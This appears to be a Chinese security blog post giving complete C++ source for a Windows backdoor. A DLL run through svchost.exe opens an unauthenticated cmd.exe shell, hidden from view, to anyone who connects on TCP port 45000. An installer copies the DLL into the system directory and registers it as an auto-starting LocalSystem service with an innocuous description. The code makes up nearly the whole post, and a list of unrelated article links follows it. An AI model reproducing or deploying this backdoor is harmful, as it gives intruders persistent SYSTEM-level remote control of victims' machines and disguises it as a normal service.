安全之路 —— 利用SVCHost.exe系统服务实现后门自启动
简介
在Windows系统中有一个系统服务控制器，叫做SVCHost.exe，它可以用来管理系统的多组服务。它与普通的服务控制不同的是它采用dll导出的ServiceMain主函数实现服务运行，详细原理可参照Blog：SVCHOST启动服务实战。我们在使用此方法时，要有两个步骤：
- 编写dll文件封装ServiceMain导出函数
- 编写负责服务安装与移除的exe文件
- 本例中需要将.exe与.dll文件放置在同一个文件夹下运行，.exe文件会将dll复制进系统目录。
C++代码样例
- DLL程序代码：
///////////////////////////////////////
//
// FileName : sysWork.cpp
// Creator : PeterZ1997
// Date : 2018-5-8 22:07
// Comment : Dll of ServiceMain Function
//
///////////////////////////////////////
#include <cstdio>
#include <iostream>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <winsock.h>
#include <windows.h>
#include <winsvc.h>
using namespace std;
#pragma comment(lib, "ws2_32.lib")
SERVICE_STATUS g_ServiceStatus;
SERVICE_STATUS_HANDLE g_hServiceStatus;
const unsigned int MAX_COUNT = 255; /// String Max Length
const DWORD PORT = 45000; /// Listen Port
const unsigned int LINK_COUNT = 30; /// Max Link Number
/**
* @brief CallBack Function to Translate Service Control Code
* @param dwCode Service Control Code
*/
void WINAPI ServiceControl(DWORD dwCode)
{
switch (dwCode)
{
//服务暂停
case SERVICE_CONTROL_PAUSE:
g_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
//服务继续
case SERVICE_CONTROL_CONTINUE:
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
//服务停止
case SERVICE_CONTROL_STOP:
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;
g_ServiceStatus.dwWaitHint = 0;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
//设置服务状态
if (SetServiceStatus(g_hServiceStatus, &g_ServiceStatus) == 0)
{
printf("Set Service Status Error\n");
}
return;
}
/**
* @brief Start Remote Shell
* @param lpParam the Client Handle
*/
DWORD WINAPI StartShell(LPVOID lpParam)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
CHAR cmdline[MAX_COUNT] = { 0 };
GetStartupInfo(&si);
si.cb = sizeof(STARTUPINFO);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)lpParam;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
GetSystemDirectory(cmdline, sizeof(cmdline));
strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe");
while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
{
Sleep(100);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
/**
* @brief Service Running Function
* @param lpParam NULL
*/
DWORD WINAPI RunService(LPVOID lpParam)
{
CHAR wMessage[MAX_COUNT] = "<================= Welcome to Back Door >_< ==================>\n";
SOCKET sClient[30];
DWORD dwThreadId[30];
HANDLE hThread[30];
WSADATA wsd;
if (WSAStartup(0x0202, &wsd))
{
printf("WSAStartup Process Error\n");
return 0;
}
SOCKET sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(PORT);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if (bind(sListen, (LPSOCKADDR)&sin, sizeof(sin))) return 0;
if (listen(sListen, LINK_COUNT)) return 0;
for (int i = 0; i < LINK_COUNT; i++)
{
sClient[i] = accept(sListen, NULL, NULL);
hThread[i] = CreateThread(NULL, 0, StartShell, (LPVOID)sClient[i], 0, &dwThreadId[i]);
send(sClient[i], wMessage, strlen(wMessage), 0);
}
WaitForMultipleObjects(LINK_COUNT, hThread, TRUE, INFINITE);
return 0;
}
/**
* @brief Export Function
*/
extern"C" __declspec(dllexport) void __stdcall ServiceMain(DWORD dwArgc, LPTSTR *lpArgv)
{
HANDLE hThread;
g_ServiceStatus.dwCheckPoint = 0;
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_STOP;
g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
g_ServiceStatus.dwServiceSpecificExitCode = 0;
g_ServiceStatus.dwServiceType = SERVICE_WIN32;
g_ServiceStatus.dwWaitHint = 0;
g_ServiceStatus.dwWin32ExitCode = 0;
g_hServiceStatus = RegisterServiceCtrlHandler("BackDoor", ServiceControl);
if (!g_hServiceStatus)
{
printf("Register Service Error\n");
return;
}
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
g_ServiceStatus.dwCheckPoint = 0;
g_ServiceStatus.dwWaitHint = 0;
if (!SetServiceStatus(g_hServiceStatus, &g_ServiceStatus))
{
printf("Set ServiceStatus Error !\n");
return;
}
hThread = CreateThread(NULL, 0, RunService, NULL, 0, NULL);
if (!hThread)
{
printf("Create Thread Error\n");
}
return;
}
/**
* @brief DLL Main Function
*/
BOOL APIENTRY DllMain(HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_DETACH:
{
ServiceControl(SERVICE_CONTROL_STOP);
break;
}
default:
break;
}
return TRUE;
}
2 . EXE程序代码：
//////////////////////////////////////////////
//
// FileName : SVCHostDemo.cpp
// Creator : PeterZ1997
// Date : 2018-5-8 01:17
// Comment : use SVCHost.exe to achieve software auto-run
//
//////////////////////////////////////////////
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include "strsafe.h"
#include <windows.h>
#include <winsvc.h>
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")
using namespace std;
const unsigned int MAX_COUNT = 255; //字符串长度
CHAR szRegInfo[MAX_COUNT] = "\0"; //注册表信息缓冲区
SC_HANDLE g_hServiceHandle; //服务实例句柄
SERVICE_STATUS g_ssServiceStatus; //服务状态结构体
SERVICE_STATUS_HANDLE g_ssServiceHandle; //服务状态句柄
/**
* @brief 封装REG_MULTI_SZ型注册表操作
* @param hRoot root key
* @param szSubKey sub key after the root key
* @param szValueName key name
* @param szData key Data
* @param cp length of (BYTE*)szValue
*/
BOOL setSZMultiStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPSTR szValue, DWORD cp)
{
HKEY hKey;
long lRet;
if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_MULTI_SZ, (BYTE*)szValue, cp)) return false;
RegCloseKey(hKey);
RegCloseKey(hRoot);
return true;
}
/**
* @brief 封装REG_SZ型注册表操作
* @param hRoot root key
* @param szSubKey sub key after the root key
* @param szValueName key name
* @param szData key Data
*/
BOOL setSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue)
{
HKEY hKey;
long lRet;
if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false;
RegCloseKey(hKey);
RegCloseKey(hRoot);
return true;
}
/**
* @brief 封装REG_EXPAND_SZ型注册表操作
* @param hRoot root key
* @param szSubKey sub key after the root key
* @param szValueName key name
* @param szData key Data
*/
BOOL setExpandSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue)
{
HKEY hKey;
long lRet;
if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_EXPAND_SZ, (BYTE*)szValue, strlen(szValue))) return false;
RegCloseKey(hKey);
RegCloseKey(hRoot);
return true;
}
/**
* @brief 封装DWORD型注册表操作
* @param hRoot root key
* @param szSubKey sub key after the root key
* @param szValueName key name
* @param szData key Data
*/
BOOL setDWORDValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, DWORD szValue)
{
HKEY hKey;
long lRet;
if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_DWORD, (BYTE*)&szValue, sizeof(DWORD))) return false;
RegCloseKey(hKey);
RegCloseKey(hRoot);
return true;
}
/**
* @brief get Registry Value Info(REG_MULTI_SZ)
* @param hRoot root key
* @param szSubKey sub key after the root key
* @param szValueName key name
*/
BOOL getRegInfo(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName)
{
HKEY hKey;
DWORD dwType = REG_MULTI_SZ;
DWORD dwLenData = strlen(szRegInfo);
LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (lRes != ERROR_SUCCESS)
{
RegCloseKey(hKey);
RegCloseKey(hRoot);
return false;
}
RegQueryValueEx(hKey, szValueName, 0, &dwType, NULL, &dwLenData);
lRes = RegQueryValueEx(hKey, szValueName, 0, &dwType, (LPBYTE)szRegInfo, &dwLenData);
if (lRes != ERROR_SUCCESS)
{
RegCloseKey(hKey);
RegCloseKey(hRoot);
return false;
}
RegCloseKey(hKey);
RegCloseKey(hRoot);
return true;
}
/**
* @brief CallBack Function to Translate Service Control Code
* @param dwCode Service Control Code
*/
void WINAPI ServiceControl(DWORD dwCode)
{
switch (dwCode)
{
case SERVICE_CONTROL_PAUSE:
g_ssServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
g_ssServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
g_ssServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ssServiceStatus.dwWin32ExitCode = 0;
g_ssServiceStatus.dwCheckPoint = 0;
g_ssServiceStatus.dwWaitHint = 0;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
if (SetServiceStatus(g_ssServiceHandle, &g_ssServiceStatus) == 0)
{
printf("Set Service Status Error\n");
}
return;
}
/**
* @brief 安装服务
*/
BOOL InstallService()
{
CHAR szSysPath[MAX_COUNT] = "\0";
CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "\0" };
CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8);
memset(szTargetString, 0, sizeof(szTargetString));
register int count = 0;
register int cp = 0;
GetSystemDirectory(szSysPath, sizeof(szSysPath));
StringCchCat(szSysPath, sizeof(szSysPath), "\\sysWork.dll");
CopyFile("sysWork.dll", szSysPath, true);
setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Description", "System Test Server");
setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "DisplayName", "NewService");
setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ErrorControl", 0x00000001);
setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ImagePath", "%systemRoot%\\system32\\svchost.exe -k netsvcs");
setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ObjectName", "LocalSystem");
setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Start", 0x00000002);
setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Type", 0x00000010);
setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService\\Parameters", "ServiceDll", szSysPath);
getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs");
register LPSTR p = LPSTR(szRegInfo);
for (; *p; p += strlen(p) + 1, count++)
{
StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p);
}
StringCchCopy(szRegGroup[count], sizeof(szRegGroup), "NewService");
p = LPSTR(szTargetString);
for (int i = 0; i <= count; i++)
{
strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]);
p += strlen(szRegGroup[i]) + 1;
cp += strlen(szRegGroup[i]) + 1;
}
setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs", szTargetString, cp);
return true;
}
/**
* @brief 移除服务
*/
BOOL RemoveService()
{
SC_HANDLE hscManager;
CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "\0" };
CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8);
memset(szTargetString, 0, sizeof(szTargetString));
register int count = 0;
register int cp = 0;
CHAR szSysPath[MAX_COUNT] = "\0";
GetSystemDirectory(szSysPath, sizeof(szSysPath));
StringCchCat(szSysPath, sizeof(szSysPath), "\\sysWork.dll");
hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!hscManager)
{
printf("Open Service Manager Error\n");
return false;
}
printf("Open Service Manager Success\n");
g_hServiceHandle = OpenService(hscManager, "NewService", SERVICE_ALL_ACCESS);
if (!g_hServiceHandle)
{
printf("Open Service Error\n");
return false;
}
printf("Open Service Success\n");
if (QueryServiceStatus(g_hServiceHandle, &g_ssServiceStatus))
{
if (g_ssServiceStatus.dwCurrentState == SERVICE_RUNNING)
{
ControlService(g_hServiceHandle, SERVICE_CONTROL_STOP, &g_ssServiceStatus);
}
}
else
{
printf("Service Status Get Error\n");
CloseServiceHandle(g_hServiceHandle);
CloseServiceHandle(hscManager);
return false;
}
if (!DeleteService(g_hServiceHandle))
{
printf("Delete Service Error\n");
CloseServiceHandle(g_hServiceHandle);
CloseServiceHandle(hscManager);
return false;
}
if (SHDeleteKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService"))
{
printf("Delete RegKey Error\n");
CloseServiceHandle(g_hServiceHandle);
CloseServiceHandle(hscManager);
return false;
}
memset(szRegInfo, 0, sizeof(szRegInfo));
getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs");
register LPSTR p = LPSTR(szRegInfo);
for (; *p; p += strlen(p) + 1)
{
if (!strcmp(p, "NewService"))
{
continue;
}
StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p);
count++;
}
p = LPSTR(szTargetString);
for (int i = 0; i <= count; i++)
{
strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]);
p += strlen(szRegGroup[i]) + 1;
cp += strlen(szRegGroup[i]) + 1;
}
setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs", szTargetString, cp);
printf("Remove Service Success\n");
DeleteFile(szSysPath);
CloseServiceHandle(g_hServiceHandle);
CloseServiceHandle(hscManager);
return true;
}
/**
* @brief Main Function
*/
int main(int argc, char* argv[])
{
if (argc == 2)
{
if (!stricmp(argv[1], "--install"))
{
if (!InstallService())
{
printf("[!]Service Operation Error\n");
}
else
{
printf("[*]Service Operation Success\n");
}
}
else if (!stricmp(argv[1], "--remove"))
{
if (!RemoveService())
{
printf("[!]Service Operation Error\n");
}
else
{
printf("[*]Service Operation Success\n");
}
}
else
{
printf("[Usage] => *.exe [--install]/[--remove]\n");
}
}
else {
printf("[Usage] => *.exe [--install]/[--remove]\n");
}
return 0;
}
安全之路 —— 利用SVCHost.exe系统服务实现后门自启动的更多相关文章
- 电脑Svchost.exe 进程占CPU100% 的解决办法
Windows Update诊断和修复修复工具 http://support.microsoft.com/mats/windows_update/zh-cn Svchost.exe占用CPU100%的 ...
- 关于WIN7 内存占用很大的 问题svchost.exe
svchost.exe 是用来启动系统服务的,所以某个 svchost.exe 占用内存过大,可能就是它启动的那个服务占用内存过大,所以只要停止并禁用那个服务就行了. 一般来说占用内存最大的服务是 S ...
- win7 64位的 svchost.exe 占用内存过大的问题
svchost.exe 是用来启动系统服务的,所以某个 svchost.exe 占用内存过大,可能就是它启动的那个服务占用内存过大,所以只要停止并禁用那个服务就行了. 一般来说占用内存最大的服务是 S ...
- windows svchost.exe 引起的出现的莫名其妙的窗口失去焦点
我不知道你们遇到没,反正我是遇到了,现在我就把解决方法给你们,当然都是从网上整理下来的 这个失去焦点可以分为两种,一种是病毒,一种是系统自带的问题 首先你得知道自己的窗口被什么给挤掉了焦点 先看看这篇 ...
- 利用certutil.exe实现在批处理（bat）中嵌入可执行文件或者各种媒体、图片之类二进制文件的简单方法！
实际上利用certutil.exe 把二进制文件(包括各种文件,exe可执行程序,图片,声音,mp3) 经过base64编码为文本,可以实现把这些文件嵌入到批处理代码中. 有什么用?: 举个例子,批处 ...
- win10 svchost.exe (LocalSystemNetworkRestricted)大量读写数据
博主的笔记本联想Y50开机完毕后会不停滴读硬盘/写硬盘,导致开机后一段时间内无法正常使用电脑(硬盘读写高峰期).打开资源监视器发现是"svchost.exe (LocalSystemNetw ...
- 解析利用wsdl.exe生成webservice代理类的详解
利用wsdl.exe生成webservice代理类:根据提供的wsdl生成webservice代理类1.开始->程序->Visual Studio 2005 命令提示2.输入如下红色标记部 ...
- win7的svchost.exe占用内存过高如何解决
方法/步骤 1 在我的电脑上点击鼠标右键,选择[管理] 步骤阅读 2 选择右侧[服务和应用程序]下的[服务]选项 步骤阅读 3 找到名称我Superfetch的服务,双击鼠标左键. 步骤阅读 4 选择 ...
- svchost.exe是什么？为什么一直在运行
原文:http://www.howtogeek.com/howto/windows-vista/what-is-svchostexe-and-why-is-it-running/ 自己简单翻译了下,图 ...
随机推荐
- 【WePY小程序框架实战四】-使用async&await异步请求数据
[WePY小程序框架实战一]-创建项目 [WePY小程序框架实战二]-页面结构 [WePY小程序框架实战三]-组件传值 async await 是对promise的近一步优化,既解决了promise链 ...
- Spring学习之路-SpringBoot简单入门
简单讲SpringBoot是对spring和springMVC的二次封装和整合,新添加了一些注解和功能,不算是一个新框架. 学习来源是官方文档,虽然很详细,但是太墨迹了… 地址:https://doc ...
- MVC应用程序使用Entity Framework
创建空的MVC应用程序,为了想使用Entity Framework的类库,发现即无法正常引用.如下图,Insus.NET已经明确引了System.Data.Entity(下图Highlight的代码) ...
- Windows操作系统下Redis服务安装图文详解
Redis下载地址:https://github.com/MSOpenTech/redis/releases 下载msi格式的安装文件. 1.运行安装程序,单击next按钮. 2.勾选接受许可协议中的 ...
- Redis有序集合操作
有序集合存储着成员和分值之间的映射,并且提供了分值处理命令,以及根据分值大小有序的获取或扫描成员和分值的命令 (常用命令) ZADD : ZADD key-name score member [sco ...
- 【MongoDB学习-安装流程】
MongoDB是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的. 支持的数据结构非常松散,是类似json的bjson格式,因此可以存储比较复杂的数据类型. ...
- Java并发编程-闭锁
闭锁是一种同步器 ( Synchronizer ),它可以延迟线程的进度直到线程到达终止状态,CountDownLatch是一个灵活的闭锁实现:1)允许一个或多个线程等待一个事件集的发生,闭锁的状态包 ...
- Nett的Http表头赋值
DefaultFullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseSta ...
- Eclipse自动编码提示设置
1.window->Preferences->Java->Editor->content assist 输入 .abcdefghijklmnopqrstuvwxyz,然后 OK ...
- HTML自定义标签与标签自定义属性
大部分浏览器支持自定义HTML标签和为标准标签自定义属性,而且很多浏览器对这两种自定义行为的支持都很直接了当. 自定义HTML标签 在firefox.chrome这种现代浏览器里,自定义标签很简单,就 ...